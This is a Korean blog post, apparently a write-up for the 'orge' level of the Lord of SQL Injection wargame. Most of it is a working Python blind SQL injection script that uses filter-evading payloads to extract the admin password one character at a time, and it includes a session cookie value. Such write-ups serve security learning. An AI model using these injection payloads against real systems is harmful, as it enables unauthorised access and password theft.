R136A1

[LOS] 7. orge :: blind SI 본문

WEB SECURITY/SQL Injection

[LOS] 7. orge :: blind SI

r136a1x27 2021. 4. 26. 23:17

코드는 여러 곳에서 짜집기함...

import requests

useragent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36"
url = "https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php"
cookies = {'PHPSESSID': 'h075bt6nf9rlkd4ltfkchlkjgj'}
headers = {'User-Agent': useragent,
           'Content-Type': 'application/json; charset=utf-8'}
query = ""  # 밑에서 for문을 돌며 지정

# res=requests.get(url+query, , cookies=cookies, headers=headers)
# GET의 경우 params={key:data}에 query 를 넣어도 똑같다
# POST의 경우 (requests.post 사용 시) data={key:data}로 전달해줘야만 한다.
# 하나의 변수에 2개 이상의 데이터는 리스트로

# --------GET LENGTH---------#
for len in range(999):
    query = f"?pw='%0a||%0alength(pw)={len}%0a%26%26%0aid='admin" # () 함께 필터링이라 따로 쓰는 건 괜찮음
    res = requests.get(url + query, cookies=cookies, headers=headers)
    print(res.url)
    #print(res.text)
    #print(res.raise_for_status)

    if res.text.find('Hello admin') != -1:
        print(f"[+] Get Password length : {len}")
        break

# --------GET PASSWORD---------#
pw=" "
for i in range(1, len + 1):  # pw의 길이만큼 반복 1부터 len 까지
    for j in range(ord('0'), ord('z')):  # 0-9, a-z, A-Z 까지의 ASCII 코드 - 문자열 넣어줘도 한 글자씩 들어감 abcd...
        query = f"?pw='%0a||%0aid='admin'%0a%26%26%0aascii(substr(pw,{i},1))={j}%23"
        res = requests.get(url + query, cookies=cookies, headers=headers)
        # print(res.raise_for_status)

        if res.text.find('Hello admin') != -1:
            pw += chr(j)
            print(f"[*] Finding... : {pw}")
            break

print(f"[+] Found Password : {pw}")

4. orc 코드에서 and, or만 %ASCII 로 필터링해서 넣어주면 됨

특히 and는 &가 URL특수문자로 쓰이기 때문에 %26으로 넣어줄 것

Comments